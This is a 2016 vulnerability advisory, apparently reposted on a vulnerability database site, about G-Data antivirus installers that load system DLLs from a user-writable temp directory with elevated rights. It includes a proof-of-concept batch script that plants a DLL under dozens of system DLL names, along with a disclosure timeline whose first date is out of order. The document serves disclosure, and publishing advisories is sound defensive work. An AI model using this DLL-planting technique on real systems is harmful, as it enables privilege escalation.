Lucene search
K

G-Data DLL Hijacking

🗓️ 18 Apr 2016 00:00:00Reported by Stefan KanthakType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

G-Data DLL Hijacking allows privilege escalation via unsafe temporary directory and unsafe DLL search path vulnerabilitie

Code
`Hi @ll,  
  
the executable installers of G-Data's "security" products for  
Windows, available from <https://www.gdata.de/downloads>, allow  
escalation of privilege!  
  
  
The downloadable executables are self-extractors containing the  
real executable installer as resource: they create the subdirectory  
%TEMP%\{guidguid-guid-guid-guid-guidguidguid}  
using another resource containing the hardcoded value of this GUID,  
extract the real executable installer into it and finally start it.  
  
The permissions of this subdirectory allow "full access" for the  
unprivileged user who started the self-extractor, enabling him to  
create arbitrary files in this subdirectory.  
  
The real installer loads multiple Windows system DLLs from this  
subdirectory instead of Windows' "system directory"  
%SystemRoot%\System32\ and executes them with elevated rights.  
  
  
On Windows 7:  
dbghelp.dll, dnsapi.dll, oleacc.dll, netapi32.dll, netutils.dll,  
srvcli.dll, wkscli.dll, version.dll, uxtheme.dll/dwmapi.dll,  
cryptsp.dll, ncrypt.dll, bcrypt.dll, profapi.dll, msimg32.dll,  
riched32.dll, iphlpapi.dll, winnsi.dll, rasapi32.dll, rasman.dll,  
rtutils.dll, sensapi.dll, rasadhlp.dll, ntmarta.dll, ntshrui.dll,  
cscapi.dll, slc.dll, windowscodecs.dll, apphelp.dll, mpr.dll,  
userenv.dll, schannel.dll, credssp.dll, secur32.dll, gpapi.dll,  
samcli.dll  
  
  
See <https://cwe.mitre.org/data/definitions/379.html> for the well-  
known and well-documented unsafe TEMP directory vulnerability, and  
<https://cwe.mitre.org/data/definitions/426.html>,  
<https://cwe.mitre.org/data/definitions/427.html> plus  
<https://capec.mitre.org/data/definitions/471.html> for the well-  
known and well-documented unsafe DLL search path vulnerability.  
  
  
Proof of concept/demonstration:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download  
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save  
it in your "Downloads" directory;  
  
2. download "G DATA ANTIVIRUS" from <https://www.gdata.de/downloads>  
and save it in your "Downloads" directory (the resulting file  
is named G_DATA_AntiVirus.exe);  
  
3. create the following file as SENTINEL.CMD in your "Downloads"  
directory:  
  
--- SENTINEL.CMD---  
G_DATA_AntiVirus.exe  
  
:LOOP  
If Not Exist "%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\INT_R_BASE_AV.exe" Goto :LOOP  
  
For %%! In (dbghelp dnsapi oleacc netapi32 netutils srvcli wkscli  
version uxtheme dwmapi cryptsp ncrypt bcrypt profapi  
msimg32 riched32 iphlpapi winnsi rasapi32 rasman rtutils  
sensapi rasadhlp ntmarta ntshrui cscapi slc windowscodecs  
apphelp mpr userenv schannel credssp secur32 gpapi samcli) Do MkLink /H  
"%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\%%!.dll" "%~dpn0.dll"  
--- EOF ---  
  
4. run the batch script per double-click: it starts the downloaded  
self-extractor and plants the DLLs for hijacking;  
  
5. notice the message boxes displayed from the DLLs.  
  
PWNED!  
  
  
stay tuned  
Stefan Kanthak  
  
  
PS: I really LOVE (security) software with such trivial beginner's  
errors. It's a tell-tale sign to better stay away from it!  
  
  
Timeline:  
~~~~~~~~~  
  
2016-06-03 initial report sent to vendor: they provided their  
real installers for download, allowing DLL hijacking  
in the users "Downloads" directory  
  
2016-03-06 vendor acknowledges receipt:  
"At the moment we are exploring the best way to fix it."  
  
2016-04-13 reply from vendor:  
"We replaced all installers and tools in the download  
area with secure versions."  
  
2016-04-17 No, these "installers" are NOT secure, they use UNSAFE  
temp directories and just shift the attack vector a  
tiny little bit.  
  
2016-04-18 reply from vendor:  
"We assume that this is pure speculation."  
  
2016-04-18 OUCH!  
<https://bugzilla.mozilla.org/show_bug.cgi?id=811557>,  
<https://code.google.com/p/google-security-research/issues/detail?id=440>  
  
2016-04-18 reply from vendor:  
"the attacker needs access to the system for that."  
  
2016-04-18 report published  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation